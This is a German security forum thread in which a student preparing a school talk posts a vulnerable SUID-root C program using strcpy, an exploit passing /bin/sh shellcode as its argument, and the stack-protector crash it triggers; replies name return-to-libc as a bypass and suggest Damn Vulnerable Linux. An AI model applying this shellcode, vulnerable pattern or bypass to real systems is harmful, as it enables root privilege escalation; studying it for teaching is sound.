Hackerboard WikiHaboBlog

[HaBo]

 
(In)security allgemein Sicherheit, Anonymität im Netz. Schutz und Maßnahmen. Prävention und Konzepte. Sicherheitsarchitekturen allgemein und auf der Netzwerkebene.

Buffer Overflow - stack smashing detected

Diskussion: Buffer Overflow - stack smashing detected im Forum (In)security allgemein, in der Kategorie Security Area; Hallöle, da ich in einer Woche in der Schule einen Vortrag über Buffer Overflows machen soll, beschäftige ich mich gerade ...

Antwort
Alt 05.01.09, 18:26   #1 (permalink)
 
Registriert seit: 30.05.07
Woosh Leistung: Facit NTK
Likes: 0
Standard Buffer Overflow - stack smashing detected


Hallöle,

da ich in einer Woche in der Schule einen Vortrag über Buffer Overflows machen soll, beschäftige ich mich gerade damit. Ich will unter anderem ein kleines Beispiel zeigen, das ich gerade vorbereite.

Mein "unsicheres Programm" ist mit SUID-Bit ausgestattet und gehört dem Herrn Root.

Code:
// harmloses_programm.c
#include <stdio.h>
#include <string.h>

void unsichere_funktion(char *param) {
	char variable[20];
	strcpy(variable, param);
}

int main(int argc, char *argv[]) {
	unsichere_funktion(argv[1]);
	return(0);
}
Dieses Programm wird als bei dem Aufruf "./harmloses_programm asdf" von Root ausgeführt. Ich möchte es jetzt schaffen, dass aufgrund der unsicheren Funktion strcpy() eine Root-Konsole gestartet wird.

Und zwar mit diesem Programm (exploit.c):
Code:
// exploit.c
int main() {
	system("./harmloses_programm \x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80");
	return(0);
}
Das Ganze habe ich jetzt unter Kubuntu 8.04 (Linux 2.6.24-22-generic) mit gcc 4.2.4 (Ubuntu 4.2.4-1ubuntu3) kompiliert und dann die exploit.c ausgeführt. Leider kapiert er den Buffer Overflow und somit kommt folgende Meldung:

Zitat:
*** stack smashing detected ***: ./harmloses_programm terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7ea6138]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7ea60f0]
./harmloses_programm[0x80483fe]
./harmloses_programm[0x8048421]
[0x80cd0bb0]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:04 23658840 /home/tmaier/buffer_overflow/4_exploit/harmloses_programm
08049000-0804a000 rw-p 00000000 08:04 23658840 /home/tmaier/buffer_overflow/4_exploit/harmloses_programm
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7dad000-b7db7000 r-xp 00000000 08:04 14974997 /lib/libgcc_s.so.1
b7db7000-b7db8000 rw-p 0000a000 08:04 14974997 /lib/libgcc_s.so.1
b7db8000-b7db9000 rw-p b7db8000 00:00 0
b7db9000-b7f02000 r-xp 00000000 08:04 15041547 /lib/tls/i686/cmov/libc-2.7.so
b7f02000-b7f03000 r--p 00149000 08:04 15041547 /lib/tls/i686/cmov/libc-2.7.so
b7f03000-b7f05000 rw-p 0014a000 08:04 15041547 /lib/tls/i686/cmov/libc-2.7.so
b7f05000-b7f08000 rw-p b7f05000 00:00 0
b7f17000-b7f19000 rw-p b7f17000 00:00 0
b7f19000-b7f1a000 r-xp b7f19000 00:00 0 [vdso]
b7f1a000-b7f34000 r-xp 00000000 08:04 14974988 /lib/ld-2.7.so
b7f34000-b7f36000 rw-p 00019000 08:04 14974988 /lib/ld-2.7.so
bfabc000-bfad1000 rw-p bffeb000 00:00 0 [stack]
Aborted
Ich würde dieses Beispiel trotzdem gerne vorführen. Gibt es eine Möglichkeit, diese "Prüfung" auf Buffer Overflows zu verhindern? Oder irgendeine andere funktionierende Möglichkeit wie ich dieses Biespiel aufbauen könnte? Habe ich irgendetwas falsch gemacht?

Liebe Grüße
Woosh
Woosh ist offline   Mit Zitat antworten
Alt 05.01.09, 21:32   #2 (permalink)
 
Benutzerbild von mauralix
 
Registriert seit: 17.04.06
mauralix Leistung: 8086
Likes: 3
Standard

Dieser Bufferoverflow funktioniert.
Bufferoverflow - Payload ausführen 0x00-Problem
Ist aber leider nur unter Windows, jedoch vor wenigen Tagen getestet und öffnet eine shell.
mauralix ist offline   Mit Zitat antworten
   
HaBOT
 

Werbung ist gerade online    
Alt 05.01.09, 21:55   #3 (permalink)
mu_
 
Registriert seit: 01.12.08
mu_ Leistung: Facit NTK
Likes: 0
Standard

Liegt vermutlich am gcc-Parameter "-fno-stack-protector", bzw. SPP. Umgehen kannst du das afaik mit der "return 2 libc"-Methode.

Ich würde dir empfehlen zu Demonstrationszwecken DVL zu verwenden (Damn Vulnerable Linux). Die dortigen Beispiele lassen sich gut ausführen, da sämtliche Sicherheitsfeatures abgeschaltet sind. Download gibts unter http://www.damnvulnerablelinux.org/
mu_ ist offline   Mit Zitat antworten
Alt 05.01.09, 23:46   #4 (permalink)
Themenstarter
 
Registriert seit: 30.05.07
Woosh Leistung: Facit NTK
Likes: 0
Standard

Danke für eure Antworten
Werde mir das mal ansehn. Ansonsten red ich mich darauf hinaus dass Linux einfach "viel zu sicher" ist und präsentiere nur die Theorie
Woosh ist offline   Mit Zitat antworten
Alt 06.01.09, 16:32   #5 (permalink)
 
Benutzerbild von mauralix
 
Registriert seit: 17.04.06
mauralix Leistung: 8086
Likes: 3
Standard

Der Windowsbufferoverflow funktioniert auch nur wenn ohne Canaryflag gebaut wurde, DEP deaktiviert ist und das Wetter schön ist und sich hier im Forum ein paar Leute Mühe gegeben haben. Aber so ist das nunmal mit Bufferoverflows. Eigentlich auch gut so, sonst wäre eine Computernutzung ja kaum möglich.
mauralix ist offline   Mit Zitat antworten
Antwort
   

Werbung ist gerade online    

[HaBo] » Security Area » (In)security allgemein » Buffer Overflow - stack smashing detected
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Forbidden Code: Beispielcode funktioniert nicht (Stack Overflow) NBBN Code Kitchen 12 25.01.10 01:00
Stack Overflow harissa Hacks & Crackmes 0 12.11.07 18:35
Buffer Overflow MrNiceGuy Code Kitchen 4 07.06.05 12:56
Buffer Overflow ERit Applikationen 0 24.04.05 15:24
Buffer Overflow? Bananshake (In)security allgemein 13 12.02.02 19:40


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61